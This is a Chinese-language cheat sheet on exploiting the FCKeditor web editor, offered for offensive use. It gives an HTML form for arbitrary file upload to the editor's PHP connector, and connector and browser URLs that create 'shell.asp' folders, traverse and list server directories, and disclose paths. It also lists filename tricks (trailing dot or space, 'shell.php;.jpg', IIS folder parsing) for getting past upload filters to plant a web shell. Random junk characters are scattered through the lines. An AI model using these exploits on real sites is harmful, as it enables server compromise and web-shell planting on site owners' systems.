Fckeditor漏洞利用总结 查看编辑器版本- I8 A' ^2 f: M6 _1 ?
FCKeditor/_whatsnew.html
5 E5 C1 h+ q {# U, o3 B————————————————————————————————————————————————————————————— 2. Version 2.2 版本
) k8 o* J R9 z& qApache+linux 环境下在上传文件后面加个.突破!测试通过。/ F& _ @, G' i8 U; V5 u
————————————————————————————————————————————————————————————— 3.Version <=2.4.2 For php 在处理PHP 上传的地方并未对Media 类型进行上传文件类型的控制,导致用户上传任意文件!将以下保存为html文件,修改action地址。
$ ~5 | H |, ^# x( h/ F<form id="frmUpload" enctype="multipart/form-data"
% ?+ K" }5 E: a' raction="http://www.site.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media" method="post">Upload a new file:<br>
* q; e- u0 z, @$ D8 ~' s<input type="file" name="NewFile" size="50"><br>
$ Q$ d7 J: t! |$ G7 D) Z* q# w<input id="btnUpload" type="submit" value="Upload">$ }) p# `' y/ `8 r
</form>' e" Z& |! ~) T, @% i
————————————————————————————————————————————————————————————— 4.FCKeditor 文件上传“.”变“_”下划线的绕过方法" G( w; h3 K: m) y3 `1 A8 i5 s
很多时候上传的文件例如:shell.php.rar 或shell.php;.jpg 会变为shell_php;.jpg 这是新版FCK 的变化。
: V% v& R6 M* S* j4 h 4.1:提交shell.php+空格绕过
0 R) O2 w6 y3 D& C+ f- p不过空格只支持win 系统 *nix 是不支持的[shell.php 和shell.php+空格是2 个不同的文件 未测试。
" e2 R: [5 N. m# i7 ~4 Z 4.2:继续上传同名文件可变为shell.php;(1).jpg 也可以新建一个文件夹,只检测了第一级的目录,如果跳到二级目录就不受限制。
; a4 K! B$ w" \- c8 F) d) g————————————————————————————————————————————————————————————— 5. 突破建立文件夹- l# @3 [) W: f9 N) i5 C
FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp&NewFolderName=z&uuid=12447899756842 H5 D" y; g7 t1 S+ p) P0 u
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=CreateFolder&CurrentFolder=/&Type=Image&NewFolderName=shell.asp
6 y' S. @5 F- h) E" R————————————————————————————————————————————————————————————— 6. FCKeditor 中test 文件的上传地址
' H5 G( C5 l+ m/ \- o3 hFCKeditor/editor/filemanager/browser/default/connectors/test.html7 m1 [6 g j- f7 e9 y
FCKeditor/editor/filemanager/upload/test.html
. ]9 T# @# j) v+ _1 h" I- F3 uFCKeditor/editor/filemanager/connectors/test.html! Z- `2 x6 R& t
FCKeditor/editor/filemanager/connectors/uploadtest.html
- f8 e) p0 Q' s0 D2 g: G+ V—————————————————————————————————————————————————————————————. B) l0 O& T: A% i; t$ L Z, s
7.常用上传地址
5 L: P, s1 L, A8 E: aFCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/' g9 r' t8 e. |3 n/ ]2 ]: t1 ^
FCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp
6 K: E3 s5 S! UFCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com%2Ffckeditor%2Feditor%2Ffilemanager%2Fconnectors%2Fphp%2Fconnector.php (ver:2.6.3 测试通过)7 P! l% c) k/ i" ?+ X
JSP 版:! F! y' |1 a; z: U# `' F
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector.jsp0 G9 V& E/ B0 x' S8 b$ W5 L+ Z
注意红色部分修改为FCKeditor 实际使用的脚本语言,蓝色部分可以自定义文
' k; K$ K: w$ A( q件夹名称也可以利用../..目录遍历,紫色部分为实际网站地址。
" q! X% m8 L; y————————————————————————————————————————————————————————————— 8.其他上传地址
7 j0 b+ D' N+ d7 {- yFCKeditor/_samples/default.html6 ^6 w+ s/ ^4 f) t0 X# l8 C
FCKeditor/_samples/asp/sample01.asp
5 o$ |6 d% j! v% o$ } I7 W: QFCKeditor/_samples/asp/sample02.asp8 W: U( r8 A0 ^1 y' ~( W8 U
FCKeditor/_samples/asp/sample03.asp
- @9 v# ~* y% j1 K5 yFCKeditor/_samples/asp/sample04.asp
5 y$ K0 O; s H0 e. y- F一般很多站点都已删除_samples 目录,可以试试。
}9 q- s& ~) a. ]FCKeditor/editor/fckeditor.html 不可以上传文件,可以点击上传图片按钮再选择浏览服务器即可跳转至可上传文件页。
; M- l5 D3 @# `6 C! k9 g————————————————————————————————————————————————————————————— 9.列目录漏洞也可助找上传地址
6 N4 Q& `0 E v! Z' X* w1 UVersion 2.4.1 测试通过
$ k& p0 |2 \8 n" b& {* H修改CurrentFolder 参数使用 ../../来进入不同的目录. q V2 \, U& u3 e5 Y
/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../..%2F&NewFolderName=shell.asp$ V4 S2 y* k" W9 R' O, y3 k
根据返回的XML 信息可以查看网站所有的目录。. o( B' e) D, `) x' r
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=%2F) }/ y. F( |" A5 p! s* Y
也可以直接浏览盘符:
( {# |7 B/ L# ~: q' vJSP 版本:: p+ Z8 h# M# |7 _* s5 s3 E
FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=%2F
/ q" X/ v; s' e8 a————————————————————————————————————————————————————————————— 10.爆路径漏洞
# H' N: b, {' PFCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=/shell.asp/ H* w' U; W9 a! K
————————————————————————————————————————————————————————————— 11. FCKeditor 被动限制策略所导致的过滤不严问题% y y a2 Q- x6 Q3 b
影响版本: FCKeditor x.x <= FCKeditor v2.4.3
5 a+ |( T9 v! C: e脆弱描述:6 k) S2 C* z3 z+ E% W0 M
FCKeditor v2.4.3 中File 类别默认拒绝上传类型:5 d* V8 }+ q. U7 j6 ^
html|htm|php|php2|php3|php4|php5|phtml|pwml|inc|asp|aspx|ascx|jsp|cfm|cfc|pl|bat|exe|com|dll|vbs|js|reg|cgi|htaccess|asis|sh|shtml|shtm|phtm
. ^* g0 K- O' O9 a) [8 aFckeditor 2.0 <= 2.2 允许上传asa、cer、php2、php4、inc、pwml、pht 后缀的文件上传后它保存的文件直接用的$sFilePath = $sServerDir . $sFileName,而没有使用$sExtension 为后缀.直接导致在win 下在上传文件后面加个.来突破[未测试]!
/ b F) L, T" B% [5 s; k3 K 而在apache 下,因为"Apache 文件名解析缺陷漏洞"也可以利用之,另建议其他上传漏洞中定义TYPE 变量时使用File 类别来上传文件,根据FCKeditor 的代码,其限制最为狭隘。
2 ]9 k, j P. t1 s3 Y/ b 在上传时遇见可直接上传脚本文件固然很好,但有些版本可能无法直接上传可以利用在文件名后面加.点或空格绕过,也可以利用2003 解析漏洞建立xxx.asp文件夹或者上传xx.asp;.jpg! |